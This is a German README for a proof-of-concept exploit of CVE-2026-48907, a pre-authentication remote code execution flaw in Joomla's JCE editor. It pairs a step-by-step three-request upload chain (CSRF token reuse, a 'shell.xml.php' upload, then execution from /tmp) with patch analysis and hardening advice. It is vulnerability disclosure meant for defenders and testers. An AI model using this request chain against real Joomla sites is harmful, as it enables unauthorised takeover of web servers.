
Proof-of-Concept-Exploit und technische Analyse für CVE-2026-48907, eine CVSS-10.0-Pre-Authentifizierungs-Remote-Code-Ausführungsschwachstelle im Joomla Content Editor (JCE). Enthält eine 3-Request-Angriffskette und detaillierte Patch-Analyse.
# CVE-2026-48907 — Nicht authentifizierte RCE in Joomla Content Editor (JCE) ≤ 2.9.99.4
<p align="center">
<img src="https://img.shields.io/badge/CVE-2026--48907-critical?style=for-the-badge&color=FF0000" />
<img src="https://img.shields.io/badge/CVSS_v4-10.0_Critical-red?style=for-the-badge" />
<img src="https://img.shields.io/badge/Auth_Required-None-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/Type-Pre--Auth_RCE-red?style=for-the-badge" />
<img src="https://img.shields.io/badge/Fixed_In-JCE_2.9.99.6-brightgreen?style=for-the-badge" />
<img src="https://img.shields.io/badge/Language-Python_3-blue?style=for-the-badge&logo=python" />
</p>
<p align="center">
<b>Proof-of-Concept-Exploit für CVE-2026-48907 – eine CVSS 10.0 nicht authentifizierte Remote-Code-Ausführung-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung.</b><br/>
Forschung vom <a href="https://github.com/grayxploit"><strong>Grayxploit Security Team</strong></a>
</p>
<img width="1376" height="768" alt="Gemini_Generated_Image_2i4b4p2i4b4p2i4b" src="https://assets.kitploit.com/production/public/readmes/26042/597bb813c01f76ea2c223b96dcab6dc9ab0e8384c38fd63514444ba30766f2ab.png" />
---
## Inhaltsverzeichnis
- [Übersicht](#overview)
- [Betroffene Versionen](#affected-versions)
- [Details zur Sicherheitslücke](#vulnerability-details)
- [Angriffsablauf](#attack-flow)
- [Proof of Concept](#proof-of-concept)
- [Patch-Analyse](#patch-analysis)
- [Abhilfe](#remediation)
- [Zeitplan](#timeline)
- [Referenzen](#references)
- [Haftungsausschluss](#disclaimer)
---
## Übersicht
**CVE-2026-48907** ist eine **kritische, nicht authentifizierte Remote-Code-Ausführung (RCE)**-Schwachstelle in der **Joomla Content Editor (JCE)**-Erweiterung – dem am weitesten verbreiteten Joomla-Editor – in allen Versionen bis einschließlich **2.9.99.4**.
Durch die Verkettung von drei unabhängigen Sicherheitsschwachstellen im JCE-Profilimport-Workflow kann ein völlig unauthentifizierter Angreifer Folgendes tun:
- Eine beliebige PHP-Webshell in das `/tmp/`-Verzeichnis des Servers hochladen
- Die Ausführung dieser Webshell über HTTP auslösen
- Vollständige **Remote Code Execution (RCE)** ohne Anmeldedaten, ohne Benutzerinteraktion und ohne besondere Netzwerkposition erreichen
Der Angriff erfordert nur **3 HTTP-Anfragen** und funktioniert gegen jede Standard-Joomla-Installation mit einer verwundbaren JCE-Version.
**CVSS v4 Punktzahl: 10.0 — Kritisch**
Entdeckt und öffentlich offengelegt vom **[Grayxploit](https://github.com/grayxploit)** Security-Forschungsteam nach verantwortungsvoller Offenlegung.
---
## Betroffene Versionen
| Software | Verwundbare Versionen | Patch-Version |
|---|---|---|
| Joomla Content Editor (JCE) | **≤ 2.9.99.4** | **2.9.99.6** (empfohlen) |
> **Hinweis:** 2.9.99.5 führte den Kernfix ein. 2.9.99.6 fügte zusätzliche Härtungsschichten hinzu. Aktualisieren Sie auf 2.9.99.6 oder höher.
---
## Details zur Sicherheitslücke
Die Schwachstelle hat ihren Ursprung im **JCE-Profilimport-Endpunkt**:
```
POST /index.php?option=com_jce&task=profiles.import
```
JCE erlaubt Administratoren, Editorprofile als XML-Dateien zu exportieren und zu importieren. Der Import-Handler ist ohne Authentifizierung erreichbar und akzeptiert aufgrund einer Kette von drei unabhängigen Schwachstellen beliebige Datei-Uploads.
### Schwachstelle 1 — Fehlende Autorisierung (CWE-862)
Die Import-Controller führte keine ACL-Prüfung durch:
```php
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
```
Joomla bettet das CSRF-Token in jede **öffentliche** Seite als Meta-Tag oder JavaScript-Variable ein:
```html
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
```
Ein Angreifer ruft einfach die Startseite ab, extrahiert das Token und spielt es erneut ab. Die CSRF-Prüfung verhindert Cross-Site-Anfragen – sie verhindert **nicht** direkte scriptgesteuerte Anfragen. Es gab keinen Aufruf von `Factory::getUser()` oder `$user->authorise(...)` im gesamten Import-Pfad.
---
### Schwachstelle 2 — Keine Dateiendungsüberprüfung (CWE-434)
Der Upload-Handler verwendete `File::makeSafe()`, das nur ungültige Dateisystemzeichen entfernt – es **überprüft oder schränkt** Dateiendungen nicht ein:
```php
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
```
Ein Dateiname wie `shell.xml.php` passiert `File::makeSafe()` unverändert. Apache's `mod_php` führt ihn aus, da die letzte erkannte Endung `.php` ist. Endungen wie `.php`, `.php5`, `.phtml` und Doppelvarianten wurden alle akzeptiert.
---
### Schwachstelle 3 — `File::upload()` mit `$allow_unsafe = true` aufgerufen (CWE-116)
Joomla's `File::upload()` verfügt über eine integrierte Erweiterungs-Blacklist, die gefährliche Dateitypen blockiert, wenn `$allow_unsafe = false` (Standard) ist:
```php
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
```
Der verwundbare JCE-Code hat dieses Sicherheitsnetz **explizit deaktiviert**:
```php
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
```
Dieser einzelne Boolean-Wert schaltete die gesamte interne Erweiterungs-Blacklist von Joomla aus, sodass `.php`, `.php5`, `.phtml` und alle anderen ausführbaren Erweiterungen auf die Festplatte geschrieben werden konnten.
---
## Angriffsablauf
```
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
No session cookie. No username. No password. 3 HTTP requests.
```
---
## Proof of Concept
> ⚠️ **Dieser PoC dient ausschließlich der autorisierten Sicherheitsforschung und Penetrationstests. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung. Unbefugte Nutzung ist illegal und unethisch.**
### Voraussetzungen
```bash
pip3 install requests
```
### Verwendung
```bash
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
```
### Erwartete Ausgabe (Verwundbares Ziel)
[] Ziel : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php
[] Schritt 1 — CSRF-Token abrufen...
[+] CSRF-Token: abcdef1234567890abcdef1234567890
[] Schritt 2 — Payload hochladen...
[+] Hochlade-Antwort: HTTP 200
[*] Schritt 3 — Ausführung des Payloads auslösen...
[+] Antwort: 3105
============================================================
[KRITISCH] RCE BESTÄTIGT — CVE-2026-48907
Ziel http://localhost:9999 ist VERWUNDBAR
---
## Patch-Analyse
Alle drei Schwachstellen wurden in **JCE 2.9.99.5** behoben, mit zusätzlicher Härtung in **2.9.99.6**.
### Fix 1 — Autorisierungsprüfung hinzugefügt (CWE-862-Behebung)
`controller/profiles.php`:
```php
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
```
Gastbenutzer (`id = 0`) scheitern sofort an `authorise()`. Die Anfrage wird abgewiesen, bevor eine Dateiverarbeitung stattfindet.
### Fix 2 — Strikte Erweiterungs-Whitelist (CWE-434-Behebung)
`models/profile.php`:
```php
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
```
`PATHINFO_EXTENSION` gibt nur die **letzte** Endung zurück. `shell.xml.php` → `php` → abgelehnt. Dadurch werden alle Multi-Extension-Umgehungen neutralisiert.
### Fix 3 — Unsicheres Flag entfernt (CWE-116-Behebung)
```php
// Vorher (verwundbar)
File::upload($source, $destination, false, true);
// Nachher (gepatcht)
File::upload($source, $destination, false);
```
Die interne Erweiterungs-Blacklist von Joomla wird als unabhängige Verteidigungsschicht wieder aktiviert.
### Zusätzliche Härtung in 2.9.99.6
| Fix | Detail |
|---|---|
| Upload-Größenbegrenzung | Lehnt Dateien > 512 KB ab |
| XXE-Schutz | `libxml_disable_entity_loader(true)` zurückportiert auf PHP 7.x |
| XML-Feld-Whitelist | Nur bekannte, sichere XML-Schlüssel werden verarbeitet; unbekannte Schlüssel werden still ignoriert |
---
## Abhilfe
| Priorität | Aktion |
|---|---|
| 🔴 Sofort | JCE auf **≥ 2.9.99.6** aktualisieren |
| 🟠 Hoch | Webzugriff auf `/tmp/` auf Serverebene blockieren oder einschränken |
| 🟠 Hoch | PHP-Ausführung in temporären Verzeichnissen via `.htaccess` oder Serverkonfiguration deaktivieren |
| 🟡 Mittel | WAF-Regel hinzufügen, um bei `com_jce&task=profiles.import` von nicht authentifizierten Sitzungen zu warnen/blockieren |
| 🟡 Mittel | Andere Joomla-Erweiterungen auf `File::upload(..., true)` ohne Erweiterungsvalidierung prüfen |
### PHP in `/tmp/` über `.htaccess` deaktivieren
```apache
<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
```
---
## Zeitplan
| Datum | Ereignis |
|---|---|
| 2026-05-XX | Schwachstelle vom Grayxploit-Forschungsteam entdeckt |
| 2026-05-XX | Verantwortungsvolle Offenlegung an die JCE-Maintainer |
| 2026-06-XX | CVE-2026-48907 von MITRE zugewiesen |
| 2026-06-XX | JCE 2.9.99.5 veröffentlicht — Kernfix |
| 2026-06-12 | JCE 2.9.99.6 veröffentlicht — zusätzliche Härtung |
| 2026-06-12 | Öffentliche Offenlegung durch Grayxploit |
---
## Referenzen
- [NVD — CVE-2026-48907](https://nvd.nist.gov/vuln/detail/CVE-2026-48907)
- [Grayxploit Blog — Vollständiger Write-up](https://medium.com/grayxploit/cve-2026-48907)
- [JCE Offizielle Website](https://www.joomlacontenteditor.net/)
- [Joomla Security Advisory](https://developer.joomla.org/security-centre.html)
- [CWE-862: Fehlende Autorisierung](https://cwe.mitre.org/data/definitions/862.html)
- [CWE-434: Unbeschränkter Upload von Dateien mit gefährlichem Typ](https://cwe.mitre.org/data/definitions/434.html)
---
## Haftungsausschluss
> Dieses Repository ist **ausschließlich** für autorisierte Sicherheitsforschung, Schulungen und Penetrationstests auf Systemen bestimmt, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung haben.
>
> Das Grayxploit-Team ist nicht verantwortlich für unbefugte, illegale oder böswillige Nutzung des Codes oder der in diesem Repository bereitgestellten Informationen.
>
> **Verantwortungsvoll nutzen. Legal testen.**
---
## Lizenz
Dieses Projekt ist unter der [MIT-Lizenz](https://github.com/grayxploit/CVE-2026-48907/blob/main/LICENSE) lizenziert.
---
<div align="center">
<img src="https://img.shields.io/github/stars/grayxploit/CVE-2026-48907?style=for-the-badge&logo=github&color=FFD700&labelColor=0d1117" />
<img src="https://img.shields.io/github/forks/grayxploit/CVE-2026-48907?style=for-the-badge&logo=github&color=6e40c9&labelColor=0d1117" />
<img src="https://img.shields.io/github/watchers/grayxploit/CVE-2026-48907?style=for-the-badge&logo=github&color=238636&labelColor=0d1117" />
<br/><br/>
### Fanden Sie das nützlich? Zeigen Sie etwas Wertschätzung.
> Jeder Stern hilft, diese Forschung zu mehr Verteidigern, Pentestern und Blue Teamern zu bringen, die sie brauchen.
<br/>
<a href="https://github.com/grayxploit/CVE-2026-48907/stargazers">
<img src="https://img.shields.io/badge/Star%20This%20Repo-It%20helps%20more%20than%20you%20think-FFD700?style=for-the-badge&labelColor=0d1117" />
</a>
<a href="https://github.com/grayxploit/CVE-2026-48907/fork">
<img src="https://img.shields.io/badge/Fork%20It-Build%20on%20top%20of%20our%20work-6e40c9?style=for-the-badge&labelColor=0d1117" />
</a>
<a href="https://github.com/grayxploit">
<img src="https://img.shields.io/badge/Follow%20Grayxploit-Stay%20ahead%20of%20the%20next%20CVE-238636?style=for-the-badge&labelColor=0d1117" />
</a>
<br/><br/>
---
### Über Grayxploit
**Grayxploit** ist ein unabhängiges Sicherheitsforschungsteam, das sich auf die Entdeckung von Schwachstellen, Exploit-Entwicklung und verantwortungsvolle Offenlegung in Webplattformen, CMS-Ökosystemen und Open-Source-Software konzentriert.
| Wir finden | Wir legen offen | Sie verteidigen |
|---|---|---|
| Pre-Auth-RCEs | Verantwortungsvoll und öffentlich | Mit unserer detaillierten Patch-Analyse |
| Logikfehler | Mit vollständiger Ursachenanalyse | Durch sichere Nutzung unserer PoCs |
| Verkettete Schwachstellen | Bevor die Massenausbeutung beginnt | Schneller als Bedrohungsakteure |
<br/>
> Haben Sie einen Tipp oder möchten Sie zusammenarbeiten? Eröffnen Sie ein [Issue](https://github.com/grayxploit/CVE-2026-48907/issues) oder kontaktieren Sie uns über unser GitHub-Profil.
<br/>
---
*CVE-2026-48907 — Originalforschung von*
### [🔐 Grayxploit Security Team](https://www.grayxploit.com)
*Dinge kaputt machen. Verantwortungsvoll.*
---
</div>